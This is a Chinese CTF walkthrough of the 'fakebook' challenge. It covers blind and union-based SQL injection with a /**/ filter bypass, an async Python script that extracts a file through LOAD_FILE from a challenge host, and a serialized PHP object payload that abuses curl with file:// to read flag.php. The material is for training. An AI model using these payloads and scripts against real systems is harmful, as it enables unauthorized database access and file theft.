[CTF]攻防世界:fakebook (sql注入)

题目:攻防世界:fakebook (sql注入)

提示:sql注入


步骤

  1. 进入网站查看下功能点,一个登录一个加入。加入一个

注册后自动返回首页,显示出了刚刚注册的用户信息,并且可以点开。

这是点开后的展示页面


  1. 针对上面对注册和登录点进行抓包,然后尝试注入,login和join页面似乎不存在注入,不过在view展示页面,似乎存在盲注

payload:?no=1 and 1=1 / and 1=2

这里记录一下,爆出了网站目录:/var/www/html


  1. 扫描网站看一下


下载user.php.bak看下

dart 复制代码
<?php


class UserInfo
{
    public $name = "";
    public $age = 0;
    public $blog = "";

    public function __construct($name, $age, $blog)
    {
        $this->name = $name;
        $this->age = (int)$age;
        $this->blog = $blog;
    }

    function get($url)
    {
        $ch = curl_init();

        curl_setopt($ch, CURLOPT_URL, $url);
        curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);
        $output = curl_exec($ch);
        $httpCode = curl_getinfo($ch, CURLINFO_HTTP_CODE);
        if($httpCode == 404) {
            return 404;
        }
        curl_close($ch);

        return $output;
    }

    public function getBlogContents ()
    {
        return $this->get($this->blog);
    }

    public function isValidBlog ()
    {
        $blog = $this->blog;
        return preg_match("/^(((http(s?))\:\/\/)?)([0-9a-zA-Z\-]+\.)+[a-zA-Z]{2,6}(\:[0-9]+)?(\/\S*)?$/i", $blog);
    }

}

发现是一个用户类,有些方法和blog的效验。

dart 复制代码
        return preg_match("/^(((http(s?))\:\/\/)?)([0-9a-zA-Z\-]+\.)+[a-zA-Z]{2,6}(\:[0-9]+)?(\/\S*)?$/i", $blog);

只允许http或https开头,符合域名形式的地址输入,在join页面的时候调用了此方法进行校验。如果可以绕过应该可以利用上面的curl进行file://、gopher://等读文件...尝试了下,没法利用。


  1. 那还是回到sql注入。
    没看到扫描目录中存在flag.php的时候,还在死板的进行sql注入拿数据库名、表名、列名...
dart 复制代码
数据库:view.php?no=1 AND ASCII(SUBSTR((DATABASE()),1,1))>1
表名:view.php?no=1 and (SELECT table_name FROM information_schema.tables WHERE table_schema=DATABASE() LIMIT 0,1)

后面测试了半天,发现数据库名为:fakebook,只有一个表users。


  1. 回到flag.php,根据之前报错的目录,拼接出 地址:/var/www/html/flag.php,用load_file依次读出内容。

后面直接用ai生成一个脚本,爆破出flag.php的内容:

dart 复制代码
#!/usr/bin/env python3
import asyncio,aiohttp

URL   = "http://61.147.171.105:53869/view.php"
FILE  = "/var/www/html/flag.php"
LEN   = 70
TOK   = "xxx"          # 正常页面关键字
CONC  = 3
TIME  = 30

async def req(payload: str) -> bool:
    async with semaphore:
        async with session.get(URL, params={'no': f'1 and {payload}'}, timeout=TIME) as r:
            return TOK in await r.text()

async def get_char(pos: int) -> str:
    v = 0
    for bit in range(7):                       # 0-127 只需 7 位
        payload = f"ORD(MID(LOAD_FILE('{FILE}'),{pos},1))&{1<<bit}"
        if await req(payload):
            v |= 1<<bit
    return chr(v)

async def main():
    global semaphore,session
    semaphore = asyncio.Semaphore(CONC)
    async with aiohttp.ClientSession(connector=aiohttp.TCPConnector(limit=CONC)) as session:
        flag = await asyncio.gather(*(get_char(i) for i in range(1,LEN+1)))
        print(''.join(flag))

if __name__ == '__main__':
    asyncio.run(main())

补充一下其他方法:

上面view.php?no=1 注入时,测试:?no = -1 union select 1,2,3,4--+ 联合注入 发现有过滤了 union select

可以绕过:union/ /select**

继续 ?no = -1 union//select 1,2,3,4--+ 爆出2回显位

?no=-1 union//select 1,user(),3,4--+
    //数据库信息

其实通过联合查询可以直接查出flag.php内容:

dart 复制代码
?no=-1 union/**/select 1,load_file("/var/www/html/flag.php"),3,4--+

另外一种继续爆破数据库:

然后爆字段名:

dart 复制代码
?no=-1 union/**/select 1,group_concat(column_name),3,4 from information_schema.columns where table_name='users'--+

发现data字段,读一个看看

似乎和之前下载的备份 user.php.bak 中用户类有关系,看起来像序列化之后的内容。

直接改动 123.blog 为 file:///var/www/html/flag.php

dart 复制代码
O:8:"UserInfo":3:{s:4:"name";s:5:"admin";s:3:"age";i:19;s:4:"blog";s:29:"file:///var/www/html/flag.php";}

payload:

dart 复制代码
?no=-1 union/**/select 1,2,3,'O:8:"UserInfo":3:{s:4:"name";s:5:"admin";s:3:"age";i:19;s:4:"blog";s:29:"file:///var/www/html/flag.php";}'

查看源码,发现iframe框架中有base64的加密内容

base64解密得到flag


相关推荐
java_logo3 小时前
Apache Doris Docker 部署指南:实时分析数据库实战
数据库·docker·apache·doris·apache doris·轩辕镜像·docker部署doris
广州灵眸科技有限公司11 小时前
xfce桌面触摸校准:基于灵眸科技EASY-EAl-Orin-Nano
数据库·windows·科技
憧憬成为web高手13 小时前
皮卡丘靶场速通--sql 2
数据库·sql·mybatis
段一凡-华北理工大学13 小时前
向量数据库实战:选型、调优与落地~系列文章12:文本分块策略实战:chunk_size 怎么选?重叠多少?
开发语言·数据库·后端·oracle·rust·工业智能体·高炉智能化
oradh15 小时前
Oracle XTTS实现跨版本迁移和升级(Oracle 11g单库升级至19C RAC集群)
数据库·oracle·11g升级19c·xtts跨版本迁移和升级
z1234567898616 小时前
2026最新两款AI编程工具深度对比实测
java·数据库·ai编程
程序猿DD16 小时前
一个 API Key,统一调用大模型、生图和联网搜索
数据库·网关
java_logo16 小时前
Docker Compose 部署 ClickHouse:快速搭建高性能列式数据库
数据库·clickhouse·docker·列式数据库·轩辕镜像·高性能数据库·clickhouse部署教程
TlSfoward17 小时前
抓包代理链路下的 TLS 指纹变化分析 TLSFOWARD抓包工具
数据库·爬虫·网络协议·搜索引擎·php
数智化管理手记18 小时前
账龄分析手工统计易遗漏?自动账龄分析工具怎么搭建
大数据·网络·数据库·人工智能·数据挖掘